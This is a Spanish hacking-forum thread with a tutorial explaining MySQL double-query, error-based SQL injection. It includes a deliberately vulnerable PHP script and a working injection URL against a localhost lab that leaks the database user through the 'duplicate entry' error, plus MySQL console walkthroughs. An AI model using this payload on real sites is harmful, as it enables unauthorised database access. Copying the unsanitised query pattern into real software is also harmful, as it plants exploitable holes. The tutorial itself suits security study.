Destripando la logica de una inyeccion [Mysql Doble Query Error Based]

Iniciado por q3rv0, Junio 11, 2013, 05:27:22 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 11, 2013, 05:27:22 PM Ultima modificación: Noviembre 23, 2014, 01:51:06 PM por Expermicid
Se que hay mas de un tutorial en el foro en el que se habla sobre como explotar este tipo de inyeccion, pero realmente no se ahonda en detalles. Simplemente se limitan a explicar de que trata el error "duplicate entry" y que es lo que hace el floor(rand()*2), posteriormente muestran la sentencias diciendo "pegue aqui", como de "memoria", hace bastante habia escrito uno, pero tambien habia dejado muchas cosas colgadas, la verdad que no pude encontrar
tutoriales en hispano que hagan un serio repaso de esta tecnica y disipen hasta la mas diminuta duda, no estoy diciendo que no hayan y bien explicados como el que escribio alguien No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, pero siempre quedan cositas en el tintero.

Comenzemos desde lo basico, explicando por que un script vulnerable debe exlpotarse de la siguiente manera

El siguiente script es vulnerable a sql injection.

Código: php
<?php
include("conex.php");
$id=$_GET['id'];
$consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
$consulta="SELECT username FROM users WHERE id=".$id.";";
$query=mysql_query($consulta, $conexion);
$query2=mysql_query($consulta2, $conexion);
$dumpeo2=mysql_fetch_array($query2);
$dumpeo=mysql_fetch_array($query);
if (isset($_GET['id'])) {
    if (!$dumpeo) {
        echo mysql_error();
}
    elseif (!$dumpeo2) {
        echo mysql_error();
}
    else {
        echo "<b>Nick: ".$dumpeo['username']."</b><p>";
        echo "<b>Blog: ".$dumpeo2['blog']."</b><p>";
}
}
?>



Como podemos ver al buscar la cantidad de columnas que esta seleccionando la consulta nos responde con el siguiente mensaje.



Esto se debe a que el parametro id esta siendo usado en dos consultas diferentes seleccionando ambas distinto numero de columnas

Código: php
$consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
$consulta="SELECT username FROM users WHERE id=".$id.";";


Por lo tanto nunca vamos a dar con la cantidad justa, es por eso que hay que recurrir a otro metodo.


La siguiente consulta devela a travez del error de "entrada duplicada", el usuario que corre en la base de datos.


Código: text
http://localhost/mysqli-lab/2.php?id=1 union select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--





Pero que es una entrada dulpicada, por que se produce?

Miremos el siguiente error:

Duplicate entry 'root@localhost0' for key 'group_key'

Nos centraremos en group_key o llave de grupo, el error se debe a que se hayo un mismo valor en la llave de grupo.

Antes que nada entendamos el termino de subquery.

Las subconsultas nos permiten optimizar tareas en la base de datos, un ejemplo sencillo, supongamos que queremos seleccionar campos de dos tablas distintas, por un lado tenemos la tabla users y por otro la tabla blogs, para obtener los datos en una sola sentencias seria de la siguiente manera:

Obviamente son usadas para realizar tareas mas elavoradas, como comparaciones entre distintos datos, etc

Código: mysql
mysql> select username,(select blog from blogs limit 0,1)blog from users limit 0,1;
+----------+-------------------------+
| username | blog                    |
+----------+-------------------------+
| q3rv0    | http://underterminal.tk |
+----------+-------------------------+
1 row in set (0.00 sec)



Pero esto es para que se entienda el concepto de subquery.

Llamemos al vector para volverlo a analizar

Código: mysql

select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--



Para lograr un mayor entendimiento y comprencion hay que ir hasta el zotano, por eso vamos a realizar analisis desde la propia db.


Les propongo que dividamos la doble consulta, y expongamos la primera.


Código: mysql
select count(*) from information_schema.tables group by concat(user(),floor(rand()*2)) limit 0,1;



Por logica quedaria asi, por que?

Primero explicare un par de conceptos.

floor(rand()*2) : generara dos resultados "0" o "1" de manera aleatoria porque?.

Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)


la funcion rand() nos generara un valor aleatorio entre 0 y 0.xxxxxx

Código: mysql
mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.8679424085355759 |
+--------------------+
1 row in set (0.00 sec)


Si multiplicamos por  2 esos valores generara un resultado diferente, esta vez entre 0 y 1.xxxx

Código: mysql
mysql> select rand()*2;
+-------------------+
| rand()*2          |
+-------------------+
| 0.947171253102991 |
+-------------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select rand()*2;
+--------------------+
| rand()*2           |
+--------------------+
| 1.5282018757687899 |
+--------------------+
1 row in set (0.00 sec)


floor() toma un numero flotante y lo presenta como entero, es decir si le pasamos el siguiente numero generado por rand().
Código: mysql

mysql> select floor(1.5282018757687899);
+---------------------------+
| floor(1.5282018757687899) |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)


Da como resultado 1

Código: mysql
mysql> select floor(0.947171253102991);
+--------------------------+
| floor(0.947171253102991) |
+--------------------------+
|                        0 |
+--------------------------+
1 row in set (0.00 sec)


Da como resultado 0

La magia del floor(rand()*2) no se basa en que de como resultado unicamente 1 o 0, se basa en que nos provea de dos resultados diferentes y que se repitan si es posible, daria lo mismo que diera 4 o 5.


Ahora extraeremos una parte del primer vector para realizar otro analisis

select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--


Esa x al final de la subconsulta, bien podria ser cualquier letra como p,c,f,c actua como puntero del resultado de esa sentencia
y es usado por "group by" para agrupar la salida segun el resultado:


Código: mysql
mysql> select concat(version(),floor(rand()*2))x;
+-----------+
| x         |
+-----------+
| 5.5.28-11 |
+-----------+
1 row in set (0.00 sec)


Código: mysql
mysql> select concat(version(),floor(rand()*2))x;
+-----------+
| x         |
+-----------+
| 5.5.28-10 |
+-----------+
1 row in set (0.00 sec)


Entonces seria los mismo realizarla asi.

Código: mysql
mysql> select count(*) from information_schema.tables group by concat(user(),floor(rand()*2));
ERROR 1062 (23000): Duplicate entry 'root@localhost0' for key 'group_key'


Pero si intentamos tirar este vector por el parametro "id" seguiremos obteniendo el mensaje "The used SELECT statements have a different number of columns" ya que requerimos de dos consultas por que el id hace referencia a ese numero como ya lo vimos en el codigo del script.

Bien hasta esta linea ya hemos entendido varios puntos claves en el funcionamiento del vector y vamos comprendiendo paso a paso el porque...

Segun las pruebas floor(rand()*2) genera dos valores aleatorios "0" o "1" group by aprovecha ese dato para realizar la agrupacion, el cual es fundamental ya que utilizaremos el error de entrada duplicada de la group_key para obtener la informacion.
Sabemos hasta ahora que al repetirse los valores generados por floor(rand()*2) se produce el "duplicate entry" en la group_key, por lo tanto nos tirar el valor que se duplica.

Si lo hicieramos sin user() obtendriamos.
Código: mysql

mysql> select count(*) from information_schema.tables group by floor(rand()*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'


Pero para obtener el nombre de usuario, la funcion user() se concatena con floor(rand()*2) para que sea disparado como valor duplicado, hay es donde toma protagonismo la subquery!.

Ejecutemos ahora el vector completo.

Código: mysql
mysql> select count(*),concat(user(),floor(rand()*2))z from information_schema.tables group by z;
+----------+-----------------+
| count(*) | z               |
+----------+-----------------+
|      123 | root@localhost0 | -> floor(rand()*2)=0
|       75 | root@localhost1 | -> floor(rand()*2)=1
+----------+-----------------+
2 rows in set (0.00 sec)


Vemos que cuando no tira el error, ordena en dos grupos la cantidad de registros en la tabla (tables) obtenidos por count(*), si la tabla tuviera un solo registro seria imposible reproducir la entrada duplicada, se podria usar cualquier otra tabla ademas de tables.

Y una vez que el valor del orden del grupo se repite, BAM!



Espero que se haya comprendido, esta fue la manera mediante la cual logre asimilarlo realmente, realizando analisis en el mismo servidor, cualquier consulta, duda o error comenten! saludos!
Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Twitter: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Buen post +Karma ;)
Pentest - Hacking & Security Services

Contact me: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Definitivamente el mejor tuto que he visto de doble error! gracias!

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".